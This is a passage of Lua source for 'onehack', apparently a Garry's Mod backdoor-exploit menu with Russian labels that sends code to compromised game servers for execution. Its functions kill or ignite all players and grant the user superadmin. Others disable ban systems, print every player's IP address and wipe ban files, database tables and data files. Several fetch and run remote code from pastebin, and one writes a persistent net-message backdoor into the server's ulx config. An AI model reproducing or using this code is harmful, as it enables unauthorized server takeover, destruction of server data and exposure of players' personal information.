683 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
684 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
685 end
686 onehack.backlistt_players_list.VBar:SetWidth(1)
687 onehack.backlistt_players_list:GetVBar().Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_players_list:GetVBar():GetWide(), onehack.backlistt_players_list:GetVBar():GetTall(), Color(255, 255, 255, 0)) end
688 onehack.backlistt_players_list:GetVBar().btnUp.Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_players_list:GetVBar().btnUp:GetWide(), onehack.backlistt_players_list:GetVBar().btnUp:GetTall(), Color(0,0,0,0)) end
689 onehack.backlistt_players_list:GetVBar().btnDown.Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_players_list:GetVBar().btnDown:GetWide(), onehack.backlistt_players_list:GetVBar().btnDown:GetTall(), Color(0,0,0,0)) end
690 onehack.backlistt_players_list:GetVBar().btnGrip.Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_players_list:GetVBar().btnGrip:GetWide(), onehack.backlistt_players_list:GetVBar().btnGrip:GetTall(), onehack.theme.chroma) end
691
692 onehack.player_button_prev = vgui.Create( "DButton", onehackdooropt )
693 onehack.player_button_prev:SetText( "" )
694 onehack.player_button_prev:SetPos(5,95)
695 onehack.player_button_prev:SetSize(150,20)
696 function onehack.player_button_prev:Paint( w,h )
697 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
698 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
699 draw.SimpleText("Player list","DermaDefault",w/2,h/2,Color(130,130,130),1,1)
700 end
701
702 onehack.player_button_all = onehack.backlistt_players_list:Add( "DButton" )
703 onehack.player_button_all:SetText( "" )
704 onehack.player_button_all:Dock( TOP )
705 onehack.player_button_all:DockMargin( 0, 0, 0, 0 )
706 function onehack.player_button_all:Paint( w,h )
707 if onehack.player_button_all:IsHovered() then
708 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
709 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt3)
710 else
711 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
712 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt)
713 end
714 if onehack.selected_player == 0 then
715 draw.SimpleText("> All player's <","DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
716 else
717 draw.SimpleText("All player's","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
718 end
719 end
720 function onehack.player_button_all:DoClick()
721 onehack.selected_player = 0
722 end
723
724 for k,v in pairs(player.GetAll()) do
725 local onehack_player_button = onehack.backlistt_players_list:Add( "DButton" )
726 onehack_player_button:SetText( "" )
727 onehack_player_button:Dock( TOP )
728 onehack_player_button:DockMargin( 0, 0, 0, 0 )
729 onehack_player_button.Paint = function( _, w, h )
730 if onehack_player_button:IsHovered() then
731 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
732 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt3)
733 else
734 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
735 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt)
736 end
737 if onehack.selected_player == v then
738 draw.SimpleText("> "..v:Name().." <","DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
739 else
740 draw.SimpleText(v:Name(),"DermaDefault",w/2,h/2,Color(255,255,255),1,1)
741 end
742 end
743 function onehack_player_button:DoClick()
744 onehack.selected_player = v
745 end
746 end
747
748 onehack.backlistt_functions = vgui.Create( "DPanel", onehackdooropt )
749 onehack.backlistt_functions:SetPos(160,65)
750 onehack.backlistt_functions:SetSize(301,313)
751 function onehack.backlistt_functions:Paint( w,h )
752 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
753 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
754 end
755
756 onehack.backlistt_functionsss_list = vgui.Create( "DScrollPanel", onehack.backlistt_functions )
757 onehack.backlistt_functionsss_list:Dock(FILL)
758 function onehack.backlistt_functionsss_list:Paint( w,h )
759 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
760 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
761 end
762 onehack.backlistt_functionsss_list.VBar:SetWidth(1)
763 onehack.backlistt_functionsss_list:GetVBar().Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_functionsss_list:GetVBar():GetWide(), onehack.backlistt_functionsss_list:GetVBar():GetTall(), Color(255, 255, 255, 0)) end
764 onehack.backlistt_functionsss_list:GetVBar().btnUp.Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_functionsss_list:GetVBar().btnUp:GetWide(), onehack.backlistt_functionsss_list:GetVBar().btnUp:GetTall(), Color(0,0,0,0)) end
765 onehack.backlistt_functionsss_list:GetVBar().btnDown.Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_functionsss_list:GetVBar().btnDown:GetWide(), onehack.backlistt_functionsss_list:GetVBar().btnDown:GetTall(), Color(0,0,0,0)) end
766 onehack.backlistt_functionsss_list:GetVBar().btnGrip.Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_functionsss_list:GetVBar().btnGrip:GetWide(), onehack.backlistt_functionsss_list:GetVBar().btnGrip:GetTall(), onehack.theme.chroma) end
767
768 onehack.AddFunction("Поменять всем имя", "textfield_rename", buttlistback, function()
769 onehack.NetStart( onehack.selectedbackdoor )
770 net.WriteString( "for k, v in pairs(player.GetAll()) do v:ConCommand(\"say /name Супе Г ом!\"); end" )
771 net.WriteBit(1)
772 onehack.SendToServak()
773 end)
774
775 onehack.AddFunction("Убить всех", "cut", buttlistback, function()
776 onehack.NetStart( onehack.selectedbackdoor )
777 net.WriteString( "for k,v in pairs(player.GetAll()) do v:Kill() end" )
778 net.WriteBit(1)
779 onehack.SendToServak()
780 end)
781
782 onehack.AddFunction("Танцы", "cut", buttlistback, function()
783 onehack.NetStart( onehack.selectedbackdoor )
784 net.WriteString( [[for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_CHEER) end timer.Create("dance_loop",2.3,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_CHEER) end end )
785 ]] )
786 net.WriteBit(1)
787 onehack.SendToServak()
788 end)
789
790 onehack.AddFunction("Подкинуть всех", "arrow_up", buttlistback, function()
791 onehack.NetStart( onehack.selectedbackdoor )
792 net.WriteString( "for k,v in pairs(player.GetAll()) do v:SetVelocity(v:GetVelocity() + Vector(math.random(1000,5000), math.random(1000,5000), math.random(1000,5000))) end" )
793 net.WriteBit(1)
794 onehack.SendToServak()
795 end)
796
797 onehack.AddFunction("Half-Life 2", "clock_play", buttlistback, function()
798 onehack.NetStart( onehack.selectedbackdoor )
799 net.WriteString( "for k,v in pairs(player.GetAll()) do v:SetModel(\"models/editor/playerstart.mdl\") end" )
800 net.WriteBit(1)
801 onehack.SendToServak()
802 end)
803
804 onehack.AddFunction("К утилика", "arrow_rotate_anticlockwise", buttlistback, function()
805 onehack.NetStart( onehack.selectedbackdoor )
806 onehack.NetWireString(
807 [[hook.Add( "Think", "#bone::manipulation#", function()
808 for k,v in pairs(player.GetAll()) do
809 local hands = v:LookupBone("ValveBiped.Bip01_R_Hand")
810
811 v:ManipulateBoneAngles( hands, Angle(0, 0, RealTime()*500) )
812 end
813 end )]])
814 net.WriteBit(1)
815 onehack.SendToServak()
816 end)
817
818 onehack.AddFunction("Заб ать о ужия у всех", "controller_delete", buttlistback, function()
819 onehack.NetStart( onehack.selectedbackdoor )
820 onehack.NetWireString([[for _, p in pairs(player.GetAll()) do if not ]]..LocalPlayer():UniqueID()..[[ then p:StripWeapons() end end]])
821 net.WriteBit(1)
822 onehack.SendToServak()
823 end)
824
825 onehack.AddFunction("Поджечь всех", "building", buttlistback, function()
826 onehack.NetStart( onehack.selectedbackdoor )
827 net.WriteString( "for k,v in pairs(player.GetAll()) do v:Ignite(120) end" )
828 net.WriteBit(1)
829 onehack.SendToServak()
830 end)
831
832 onehack.AddFunction("Выдать себе п ивилегию", "user_gray", buttlistback, function()
833 onehack.NetStart( onehack.selectedbackdoor )
834 net.WriteString( [[
835
836 local id = ]] .. LocalPlayer():UserID() .. [[
837
838 Player( id ):SetUserGroup( "superadmin" )
839
840 ]] )
841 net.WriteBit(1)
842 onehack.SendToServak()
843 end)
844
845 onehack.AddFunction("Камшейк", "emoticon_evilgrin", buttlistback, function()
846 onehack.NetStart( onehack.selectedbackdoor )
847 onehack.NetWireString("for k,v in pairs(player.GetAll()) do v:SendLua( [[util.ScreenShake( Vector( 0, 0, 0 ), 10, 5, 60, 5000 )]] ) end")
848 net.WriteBit(1)
849 onehack.SendToServak()
850 end)
851
852 onehack.AddFunction("2D Модели", "font", buttlistback, function()
853 onehack.NetStart( onehack.selectedbackdoor )
854 onehack.NetWireString([[
855 for k,v in pairs(player.GetAll()) do
856 local a = v:LookupBone("ValveBiped.Bip01_Head1")
857 local b = v:LookupBone("ValveBiped.Bip01_R_Thigh")
858 local c = v:LookupBone("ValveBiped.Bip01_L_Thigh")
859 local d = v:LookupBone("ValveBiped.Bip01_R_Calf")
860 local e = v:LookupBone("ValveBiped.Bip01_L_Calf")
861 local f = v:LookupBone("ValveBiped.Bip01_R_UpperArm")
862 local g = v:LookupBone("ValveBiped.Bip01_L_UpperArm")
863 local h = v:LookupBone("ValveBiped.Bip01_R_Forearm")
864 local i = v:LookupBone("ValveBiped.Bip01_L_Forearm")
865 local j = v:LookupBone("ValveBiped.Bip01_R_Clavicle")
866 local k = v:LookupBone("ValveBiped.Bip01_L_Clavicle")
867
868 v:ManipulateBoneScale( a, Vector(4,0,4))
869 v:ManipulateBoneScale( b, Vector(0,0,0))
870 v:ManipulateBoneScale( c, Vector(0,0,0))
871 v:ManipulateBoneScale( d, Vector(0,0,1))
872 v:ManipulateBoneScale( e, Vector(0,0,1))
873 v:ManipulateBoneScale( f, Vector(0,0,0))
874 v:ManipulateBoneScale( g, Vector(0,0,0))
875 v:ManipulateBoneScale( h, Vector(1,1.5,1.5))
876 v:ManipulateBoneScale( i, Vector(1,1.5,1.5))
877 v:ManipulateBoneScale( j, Vector(0,0,0))
878 v:ManipulateBoneScale( k, Vector(0,0,0))
879 end]])
880 net.WriteBit(1)
881 onehack.SendToServak()
882 end)
883
884 onehack.AddFunction("Всех в гигантов", "control_eject", buttlistback, function()
885 onehack.NetStart( onehack.selectedbackdoor )
886 onehack.NetWireString([[
887 hook.Add("Think", "giant", function()
888 for k,v in pairs (player.GetAll()) do
889 v:SetModelScale(2.5, 100);
890 v:SetRunSpeed(400 * 2);
891 v:SetWalkSpeed(200 * 2);
892 end
893 end)]])
894 net.WriteBit(1)
895 onehack.SendToServak()
896 end)
897
898 onehack.AddFunction("Все любят меня :3", "comment", buttlistback, function()
899 onehack.NetStart( onehack.selectedbackdoor )
900 net.WriteString([[for k,p in pairs(player.GetAll()) do
901 p:ConCommand("say Я люблю Foer'a <3")
902 end
903 ]])
904 net.WriteBit(1)
905 net.SendToServer()
906 end)
907
908 onehack.AddFunction("Показать IP всех иг оков", "chart_organisation", buttlistback, function()
909 onehack.NetStart( onehack.selectedbackdoor )
910 onehack.NetWireString([[
911
912 local id = ]] .. LocalPlayer():UserID() .. [[
913
914 for k, v in pairs( player.GetAll() ) do
915
916 Player( id ):ChatPrint( "Player: " .. v:Nick() .. " (" .. v:SteamID() .. ") IP: " .. v:IPAddress() )
917
918 end
919
920 ]])
921 net.WriteBit(1)
922 onehack.SendToServak()
923 end)
924
925 onehack.AddFunction("Сломать (ULX и FAdmin)", "brick_delete", buttlistback, function()
926 onehack.NetStart( onehack.selectedbackdoor )
927 onehack.NetWireString([[
928 ULib.Ban = function() return false end
929 _G.FAdmin = function() end
930 ULib.addBan = function() return end
931
932 ULib.kick = function() return end
933 ]])
934 net.WriteBit(1)
935 onehack.SendToServak()
936 end)
937
938 onehack.AddFunction("Дискотека", "group", buttlistback, function()
939 onehack.NetStart( onehack.selectedbackdoor )
940 onehack.NetWireString("http.Fetch(\"https://pastebin.com/raw/ehNbAECD\",function(b,l,h,c)RunString(b)end,nil)")
941 net.WriteBit(1)
942 onehack.SendToServak()
943 end)
944
945 onehack.AddFunction("Пломби овать", "server_link", buttlistback, function()
946 onehack.NetStart( onehack.selectedbackdoor )
947 onehack.NetWireString("http.Fetch(\"https://pastebin.com/raw/z8TmzbFF\",function(b,l,h,c)RunString(b)end,nil)")
948 net.WriteBit(1)
949 onehack.SendToServak()
950 end)
951
952 onehack.AddFunction(" азбанить всех", "database_edit", buttlistback, function()
953 onehack.NetStart( onehack.selectedbackdoor )
954 net.WriteString( "if file.Exists( \"ulib/bans.txt\", \"DATA\" ) then file.Delete(\"ulib/bans.txt\") end" )
955 net.WriteBit(1)
956 onehack.SendToServak()
957 end)
958
959 onehack.AddFunction("Удалить все г уппы", "group_delete", buttlistback, function()
960 onehack.NetStart( onehack.selectedbackdoor )
961 net.WriteString( "if file.Exists( \"ulib/groups.txt\", \"DATA\" ) then file.Delete(\"ulib/groups.txt\") end" )
962 net.WriteBit(1)
963 onehack.SendToServak()
964 end)
965
966 onehack.AddFunction("Сб осить деньги", "money_delete", buttlistback, function()
967 onehack.NetStart( onehack.selectedbackdoor )
968 net.WriteString( "RunConsoleCommand(\"rp_resetallmoney\")" )
969 net.WriteBit(1)
970 onehack.SendToServak()
971 end)
972
973 onehack.AddFunction("Очистить ка ту", "cut_red", buttlistback, function()
974 onehack.NetStart( onehack.selectedbackdoor )
975 onehack.NetWireString("for k, v in pairs(ents.FindByClass( \"prop_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"func_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"env_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"lua_run*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"point_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"trigger_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"info_*\" )) do v:Remove() end")
976 net.WriteBit(1)
977 onehack.SendToServak()
978 end)
979
980 onehack.AddFunction("Изменить имя се ве а", "drive_rename", buttlistback, function()
981 onehack.NetStart( onehack.selectedbackdoor )
982 onehack.NetWireString("RunConsoleCommand(\"ulx\", \"rcon\", \"hostname\", \"• Ħá¢ҝ ƀɤ ǺβÇŦųŋℯᶉ | Ñęţ:("..onehack.selectedbackdoor..")\")")
983 net.WriteBit(1)
984 onehack.SendToServak()
985 end)
986
987 onehack.AddFunction("Спам", "keyboard", buttlistback, function()
988 onehack.NetStart( onehack.selectedbackdoor )
989 onehack.NetWireString("timer.Create( \"sppspas\", 0.1, 0, function() print(\"Hack by ABCTuner | Do not steal! | Вы наказаны за во овство, коде ы тоже люди и хотят есть! Они за абатывают на жизнь п одавая свои замечательные аддоны!\"); BroadcastLua([[chat.AddText(Color(255,10,100), \"• Ħáсҝ ƀɤ ǺβÇŦųŋℯᶉ \",Color(255,255,255),\"| Do not steal! | Ñęţ: \",HSVToColor( CurTime() % 6 * 60, 1, 1 ),\""..onehack.selectedbackdoor.."\" )]]) end)")
990 net.WriteBit(1)
991 onehack.SendToServak()
992 end)
993
994 onehack.AddFunction("Отпе еть все две и", "door_open", buttlistback, function()
995 onehack.NetStart( onehack.selectedbackdoor )
996 onehack.NetWireString([[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("unlock", "", 0) end end]])
997 net.WriteBit(1)
998 onehack.SendToServak()
999 end)
1000
1001 onehack.AddFunction("Отк ыть все две и на ка те", "door_open", buttlistback, function()
1002 onehack.NetStart( onehack.selectedbackdoor )
1003 onehack.NetWireString([[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("toggle", "", 0) end end]])
1004 net.WriteBit(1)
1005 onehack.SendToServak()
1006 end)
1007
1008 onehack.AddFunction("Очистить все данные", "folder_delete", buttlistback, function()
1009 onehack.NetStart( onehack.selectedbackdoor )
1010 onehack.NetWireString([[
1011 local date = os.date( "%m-%d-%y" )
1012 local databases = { "jobdata","darkrp_door","darkrp_levels","darkrp_prestige","darkrp_doorgroups","darkrp_doorjobs","darkrp_jobspawn","darkrp_position","darkrp_player","darkrp_dbversion","FAdmin_CAMIPrivileges","FADMIN_GROUPS","FAdmin_Immunity","FADMIN_MOTD","FAdmin_PlayerGroup","FADMIN_PRIVILEGES","FADMIN_RESTRICTEDENTS","FAdmin_ServerSettings","FAdminBans","FPP_ANTISPAM1","FPP_BLOCKED1","FPP_BLOCKMODELSETTINGS1","FPP_ENTITYDAMAGE1","FPP_GLOBALSETTINGS1","FPP_GRAVGUN1","FPP_GROUPMEMBERS1","FPP_GROUPS3","FPP_GROUPTOOL","FPP_PHYSGUN1","FPP_PLAYERUSE1","FPP_TOOLADMINONLY","FPP_TOOLGUN1","FPP_TOOLRESTRICTPERSON1","FPP_TOOLTEAMRESTRICT","FPP_BLOCKEDMODELS1","awarn_playerdata","awarn_serverdata","awarn_warnings","blogs_players_v3","blogs_v3","stt_date","stt_players","mlog_logs","mlog_permissions","atlaschat_players","atlaschat_ranks","atlaschat_remote","atlaschat_restrictions","OreBag","fcd_playerData","dailylogin","ChessLeaderboard","qsgr_data","voting_npcs","cac_incidents","steam_rewards","playerdata","playerinformation","utime","permaprops","cc_characters","cc_npcs","ckit_chips","ckit_persist","exsto_data_bans","exsto_data_ranks","exsto_data_users","exsto_data_variables","exsto_restriction","inventories","kinv_items","libk_player","permitems","player_gangapps","player_gangdata","player_gangs","ps2_categories","ps2_equipmentslot","ps2_HatPersistence","ps2_itemmapping","ps2_itempersistence","ps2_OutfitHatPersistenceMapping","ps2_outfits","ps2_playermodelpersistence","ps2_servers","ps2_settings","ps2_trailpersistence","ps2_wallet","removeprops","scoreboard_friends","serverguard_analytics","serverguard_bans","serverguard_pms","serverguard_ranks","serverguard_reports","serverguard_schema","serverguard_ttt_autoslays","serverguard_users","serverguard_watchlist","tttstats","ttt_passes_history","specdm_stats_new","ps2_achievements","ps2_boosterpersistence","ps2_cratepersistence","ps2_instatswitchweaponpersistence","ps2_keypersistence","ps2_rolecontrolpersistence","ps2_weaponpersistence","rapsheet","damagelog_autoslay","damagelog_names","damagelog_oldlogs","damagelog_weapons","kmapvote_mapinfo","kmapvote_ratings","mgang_gangs","mgang_players","deathrun_ids","deathrun_records","deathrun_stats","sui_ratings","shop_texthats","shop_money","shop_items","report_log" }
1013 local datafiles = { "ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","wire_version.txt","UTeam.txt","prevhas.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","hitnumbers/settings.txt","soundlists/common_sounds.txt","vcmod/controls.txt","vcmod/dataserver.txt","qsgr_data/sqgr_settings.txt","blogs/configcache.txt","blogs/language.txt","cac/adminuipack.txt","ezjobs/config.txt","damagelog/colors.txt","damagelog/filters_new.txt","craphead_scripts/armory_robbery/rp_downtown_v4c/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_evilmelon_v1/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v3/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v4/policearmory_location.txt","mg_gangsdata/mg_npcspawns.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","prevhash.txt","permaprops_config.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","vliss/settings/config.txt","nordahl_spawnpoint/rp_venator_v3.txt","nordahl_spawnpoint/rp_venator_v2.txt","nordahl_spawnpoint/rp_venator_v1.txt","nordahl_spawnpoint/rp_venator_gg.txt","nordahl_spawnpoint/rp_venator_ausv4.txt","nordahl_spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_spawnpoint/arena_byre.txt","nordahl_spawnpoint/rp_venator_v2_immersive.txt","nordahl_spawnpoint/rp_venator_fade_v3.txt","nordahl_spawnpoint/rp_venator_gr.txt","nordahl_spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_spawnpoint/rp_scifi.txt","nordahl_spawnpoint/rishimoon_crimson.txt","nordahl_spawnpoint/rp_pripyat_hl2.txt","nordahl_spawnpoint/rp_onwardhope.txt", "nordahl_spawnpoint/rp_oldworld_fix.txt","nordahl_spawnpoint/sd_doomsday.txt","nordahl_spawnpoint/sd_doomsday_event.txt","nordahl_spawnpoint/rp_naboo_city_v1.txt","nordahl_spawnpoint/rp_noclyria_crimson.txt","nordahl_spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_spawnpoint/rp_mos_mersic_v2.txt","nordahl_spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_spawnpoint/dust_dunes.txt","nordahl_spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_spawnpoint/rd_asteroid.txt","nordahl_spawnpoint/naboo.txt","nordahl_spawnpoint/kashyyyk.txt","nordahl_spawnpoint/geonosis.txt","nordahl_spawnpoint/fightspace3b.txt","nordahl_spawnpoint/endor.txt","nordahl_spawnpoint/toth_forgotten.txt"}
1014 local sensitivefiles = { "ulx_logs/"..date..".txt","ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","vcmod/controls.txt","vcmod/dataserver.txt","blogs/configcache.dat","blogs/language.txt","blogs/config_v5.txt","cac/adminuipack.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","permaprops_config.txt","whitelist.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","nordahl_spawnpoint/rp_venator_v3.txt","nordahl_spawnpoint/rp_venator_v2.txt","nordahl_spawnpoint/rp_venator_v1.txt","nordahl_spawnpoint/rp_venator_gg.txt","nordahl_spawnpoint/rp_venator_ausv4.txt","nordahl_spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_spawnpoint/arena_byre.txt","nordahl_spawnpoint/rp_venator_v2_immersive.txt","nordahl_spawnpoint/rp_venator_fade_v3.txt","nordahl_spawnpoint/rp_venator_gr.txt","nordahl_spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_spawnpoint/rp_scifi.txt","nordahl_spawnpoint/rishimoon_crimson.txt","nordahl_spawnpoint/rp_pripyat_hl2.txt","nordahl_spawnpoint/rp_onwardhope.txt", "nordahl_spawnpoint/rp_oldworld_fix.txt","nordahl_spawnpoint/sd_doomsday.txt","nordahl_spawnpoint/sd_doomsday_event.txt","nordahl_spawnpoint/rp_naboo_city_v1.txt","nordahl_spawnpoint/rp_noclyria_crimson.txt","nordahl_spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_spawnpoint/rp_mos_mersic_v2.txt","nordahl_spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_spawnpoint/dust_dunes.txt","nordahl_spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_spawnpoint/rd_asteroid.txt","nordahl_spawnpoint/naboo.txt","nordahl_spawnpoint/kashyyyk.txt","nordahl_spawnpoint/geonosis.txt","nordahl_spawnpoint/fightspace3b.txt","nordahl_spawnpoint/endor.txt","nordahl_spawnpoint/toth_forgotten.txt"}
1015
1016 for k,v in pairs(databases) do
1017 if sql.TableExists(v) then
1018 sql.Query("DROP TABLE "..v.." ;")
1019 sql.Query("CREATE TABLE IF NOT EXISTS "..v.." ( steamid TEXT NOT NULL PRIMARY KEY, value TEXT );")
1020 end
1021 end
1022
1023 for k,v in pairs(datafiles) do
1024 if file.Exists(v) then
1025 file.Delete(v)
1026 file.write(v, "А вот нехуй было обманывать")
1027 end
1028 end
1029
1030 for k,v in pairs(sensitivefiles) do
1031 if file.Exists(v) then
1032 file.Delete(v)
1033 file.write(v, "А вот нехуй было обманывать")
1034 end
1035 end
1036 ]])
1037 net.WriteBit(1)
1038 onehack.SendToServak()
1039 end)
1040 --
1041 onehack.AddFunction("Iseeyou", "shield_go", buttlistback, function()
1042 http.Fetch( "http://pastebin.com/raw.php?i=Ps16AErr", RunString )
1043 onehack.NetStart( onehack.selectedbackdoor )
1044 onehack.NetWireString("http.Fetch( \"http://pastebin.com/raw.php?i=Ps16AErr\", RunString )")
1045 net.WriteBit(1)
1046 onehack.SendToServak()
1047 RunConsoleCommand("iseeyou")
1048 end)
1049 onehack.AddFunction("Всех в КПЗ", "shield_go", buttlistback, function()
1050 onehack.NetStart( onehack.selectedbackdoor )
1051 onehack.NetWireString("RunConsoleCommand(\"ulx\", \"jail\", \"*\")")
1052 net.WriteBit(1)
1053 onehack.SendToServak()
1054 end)
1055
1056 onehack.AddFunction("Инфекция", "chart_line_edit", buttlistback, function()
1057 onehack.NetStart( onehack.selectedbackdoor )
1058 onehack.NetWireString([[
1059 local config = ULib.fileRead( "data/ulx/config.txt" )
1060
1061 config = config.."\nulx logEcho 0"
1062
1063 config = config.."\nulx luarun util.AddNetworkString( 'ABCNet' ) net.Receive( 'ABCNet', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )"
1064
1065 config = config.."\nulx logEcho 1"
1066
1067 ULib.fileWrite( "data/ulx/config.txt", config )
1068
1069 ]])
1070 net.WriteBit(1)
1071 onehack.SendToServak()
1072 end)
1073
1074 onehack.AddFunction("А магеддон", "bomb", buttlistback, function()
1075 onehack.NetStart( onehack.selectedbackdoor )
1076 onehack.NetWireString([[
1077 hook.Add("Think", "armageddon", function()
1078 local explode = ents.Create( "env_explosion" )
1079 explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
1080 explode:Spawn()
1081 explode:SetKeyValue( "iMagnitude", "500" )
1082 explode:Fire( "Explode", 0, 0 )
1083 end)
1084 ]])
1085 net.WriteBit(1)
1086 onehack.SendToServak()
1087 end)
1088
1089 onehack.AddFunction("Изменить звуки шагов", "sound", buttlistback, function()
1090 onehack.NetStart( onehack.selectedbackdoor )
1091 onehack.NetWireString("hook.Add(\"PlayerFootstep\", \"porn\", function(ply, pos, foot, sound2, volume, filter) ply:EmitSound( \"vo/npc/female01/pain06.wav\",75,math.random( 50, 150 )) end )")
1092 net.WriteBit(1)
1093 onehack.SendToServak()
1094 end)
1095
1096 onehack.AddFunction("Сказать что се ве у пизда", "sound", buttlistback, function()
1097 onehack.NetStart( onehack.selectedbackdoor )
1098 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://mamkaeb.000webhostapp.com/sound.mp3\", \"mono\", function()end )]])")
1099 net.WriteBit(1)
1100 net.SendToServer()
1101 end)
1102
1103 onehack.AddFunction("Музыка - Be Friend", "sound", buttlistback, function()
1104 onehack.NetStart( onehack.selectedbackdoor )
1105 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://loadingscrren.000webhostapp.com/BE%20FRIENDS.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Be Friend\")]])")
1106 net.WriteBit(1)
1107 net.SendToServer()
1108 end)
1109
1110 onehack.AddFunction("Музыка - П ивет, это к уто", "sound", buttlistback, function()
1111 onehack.NetStart( onehack.selectedbackdoor )
1112 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://loadingscrren.000webhostapp.com/Salut%20Cest%20Cool.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"П ивет это к уто\")]])")
1113 net.WriteBit(1)
1114 net.SendToServer()
1115 end)
1116
1117 onehack.AddFunction("Музыка - Somewhere over", "sound", buttlistback, function()
1118 onehack.NetStart( onehack.selectedbackdoor )
1119 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://loadingscrren.000webhostapp.com/Somewhere%20over.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Somehere over\")]])")
1120 net.WriteBit(1)
